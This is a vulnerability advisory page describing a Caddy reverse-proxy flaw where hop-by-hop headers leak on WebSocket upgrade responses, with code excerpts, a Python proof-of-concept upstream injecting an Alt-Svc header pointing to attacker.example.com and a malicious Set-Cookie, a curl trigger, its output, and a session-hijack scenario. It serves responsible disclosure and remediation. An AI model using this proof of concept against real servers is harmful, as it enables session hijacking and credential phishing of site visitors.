CVE-2026-55458: Go/github.com/caddyserver/caddy/v2 vulnerability

Published Oct 28, 2026
·
Updated

AI Disclosure This vulnerability was discovered via deepseek-v4-pro[1m] for finding potential vulnerabilities / inconsistencies in the code base. I made the AI check if Caddy is compliant with various RFCs, incl. 7230. I also used it to help write the PoC, since it was honestly much faster than writing it by hand. I also let it write parts of this advisory text for brevity's sake, but had to rewrite half of it by hand.

Summary Caddy's reverse proxy fails to strip RFC 7230 hop-by-hop headers from upstream responses when handling WebSocket upgrades (HTTP 101 Switching Protocols). Headers including Alt-Svc, Keep-Alive, Proxy-Authenticate, Transfer-Encoding, or Trailer, which Caddy actually correctly strips for normal HTTP responses, pass through unfiltered to the client during protocol upgrades. An upstream that sets these headers (intentionally or otherwise) can inject them into client responses, enabling connection hijacking via Alt-Svc, cookie injection via Set-Cookie, and proxy authentication phishing.

The normal response path in finalizeResponse correctly strips all hop-by-hop headers before forwarding, but the 101 code path returns early, skipping the stripping entirely.

Details

In modules/caddyhttp/reverseproxy/reverseproxy.go, the finalizeResponse method (line 1178) handles upstream responses. For all normal responses, it strips hop-by-hop headers before copying to the client:

go // reverseproxy.go:1194-1198 removeConnectionHeaders(res.Header) for , h := range hopHeaders { res.Header.Del(h) }

However, the 101 Switching Protocols check at line 1187 returns before this stripping code:

go // reverseproxy.go:1186-1192 if res.StatusCode == http.StatusSwitchingProtocols { var wg sync.WaitGroup h.handleUpgradeResponse(logger, &wg, rw, req, res) wg.Wait() return nil // <-- returns BEFORE removeConnectionHeaders and hopHeaders loop }

Inside handleUpgradeResponse (streaming.go:60-91), all upstream response headers are copied to the client without any hop-by-hop filtering:

go // streaming.go:88-91 copyHeader(rw.Header(), res.Header) // copies ALL upstream headers normalizeWebsocketHeaders(rw.Header()) // only remaps Sec-WebSocket- keys

The normalizeWebsocketHeaders function (line 714) only handles WebSocket-specific header key mapping (Sec-Websocket- to Sec-WebSocket-). It does not strip hop-by-hop headers.

Hop-by-Hop Headers That Leak Through

Defined at reverseproxy.go:1681-1692:

Alt-Svc, Connection, Proxy-Connection, Keep-Alive, Proxy-Authenticate, Proxy-Authorization, Te, Trailer, Transfer-Encoding, Upgrade

All 10 are stripped from normal responses. None are stripped from WebSocket upgrade responses.

For HTTP/2 and HTTP/3 WebSocket connections (extended CONNECT with :protocol: websocket), Caddy converts the upstream's 101 into a 200 OK for the client (streaming.go:99-104). The leaked headers arrive in a standard HTTP 200 response that browsers fully process, making Alt-Svc hijacking and Set-Cookie injection practically exploitable.

Normal (200): removeConnectionHeaders() runs, hopHeaders loop runs -> headers stripped Upgrade (101): handleUpgradeResponse() runs, returns early -> headers are NOT stripped

This is the only response code path in the reverse proxy that bypasses hop-by-hop header stripping.

PoC

Caddy config: :8080 { reverseproxy localhost:8083 }

Script: python import socket

UPSTREAM = ( b"HTTP/1.1 101 Switching Protocols\r\n" b"Upgrade: websocket\r\n" b"Connection: Upgrade\r\n" b"Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=\r\n" b"Alt-Svc: h2=\"attacker.example.com:443\"; ma=86400\r\n" b"Keep-Alive: timeout=999\r\n" b"Proxy-Authenticate: Basic realm=\"phish\"\r\n" b"Set-Cookie: injected=malicious; Path=/\r\n" b"\r\n" )

s = socket.socket() s.setsockopt(socket.SOLSOCKET, socket.SOREUSEADDR, 1) s.bind(("0.0.0.0", 8083)) s.listen(1) conn, = s.accept() conn.send(UPSTREAM)

Curl: bash curl -v \ -H "Upgrade: websocket" \ -H "Connection: Upgrade" \ -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \ -H "Sec-WebSocket-Version: 13" \ http://localhost:8080/ws 2>&1

Output: < HTTP/1.1 101 Switching Protocols < Alt-Svc: h2="attacker.example.com:443"; ma=86400 < Connection: Upgrade < Keep-Alive: timeout=999 < Proxy-Authenticate: Basic realm="phish" < Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo= < Server: Caddy < Set-Cookie: injected=malicious; Path=/ < Upgrade: websocket

Alt-Svc, Keep-Alive, and Proxy-Authenticate are hop-by-hop headers that MUST NOT be retransmitted by proxies per RFC 7230 §6.1. They all appear in the response.

Same upstream, same headers but on a 200 response. Caddy strips Alt-Svc correctly:

bash curl -v http://localhost:8080/ Alt-Svc is absent

Impact This is a hop-by-hop header leakage vuln (I think CWE-444 fits closest?). The proxy fails to enforce the RFC 7230 §6.1 requirement that hop-by-hop headers must not be forwarded across proxy boundaries.

Any Caddy deployment that proxies WebSocket connections, especially those using HTTP/2 or HTTP/3 (where the 101-to-200 conversion makes headers fully processable by browsers) has this issue.

How an attack might look: A company serves app.example.com behind Caddy, with HTTP/2 enabled. The app uses WebSockets for real-time notifications (i.e. every page load opens one). The upstream app gets compromised (unpatched CMS plugin, leaked CI credential, dependency confusion). The attacker adds one line to the WebSocket handler: Set-Cookie: session=hijack; Path=/.

Now every visitor to app.example.com gets the attacker's session cookie written into their browser. The app uses the session cookie as the sole authentication token. When a user reloads the page or navigates to another part of the app, their browser sends session=hijack along with the request. The attacker submits the same value from their own browser. They get logged in as that user.

Caddy strips this header on normal HTTP responses. It strips hop-by-hop headers on the request side, basically everywhere except this path.

Suggested Fix I'll add my fix to the branch in this security advisory.

Contact Details If you find this find worth your time you can contact me under d.ramadani@ieee.org or +43 (677) 63 397 910. In case this is something that will go public I'd be happy to be mentioned under my real name, Dionis Ramadani.

Thank you for taking the time, I hope this is something interesting for you.

Affected Software

1 affected componentFixes available
go/github.com/caddyserver/caddy/v2<=2.11.4
2.11.5

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade go/github.com/caddyserver/caddy/v2 to a version that resolves this vulnerability.

    Fixed in 2.11.5

Event History

Oct 28, 2026
Advisory Published
via GitHub·07:49 PM
Data Sourced
via GitHub·07:49 PM
DescriptionWeaknessAffected Software

Frequently Asked Questions

1

Which deployments are exposed to this behavior?

Caddy deployments acting as a reverse proxy are exposed when they forward upstream WebSocket upgrade responses using HTTP 101 Switching Protocols. The described filtering works for normal HTTP responses but is skipped on the 101 upgrade path.

2

What control would an attacker need to exploit this?

An attacker would need an upstream response that includes headers Caddy should remove during a WebSocket upgrade. The upstream may set those headers intentionally or they may be present otherwise.

3

How can I check whether traffic is affected?

Inspect Caddy-proxied HTTP 101 Switching Protocols responses for headers that should be stripped, including Alt-Svc, Keep-Alive, Proxy-Authenticate, Transfer-Encoding, and Trailer. Their presence on the upgraded response indicates the affected forwarding path.

4

What are the practical risks from unfiltered upgrade-response headers?

The advisory identifies Alt-Svc-based connection hijacking, cookie injection through Set-Cookie, and proxy-authentication phishing as possible consequences. The risk arises because the client receives headers supplied by the upstream during the protocol upgrade.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203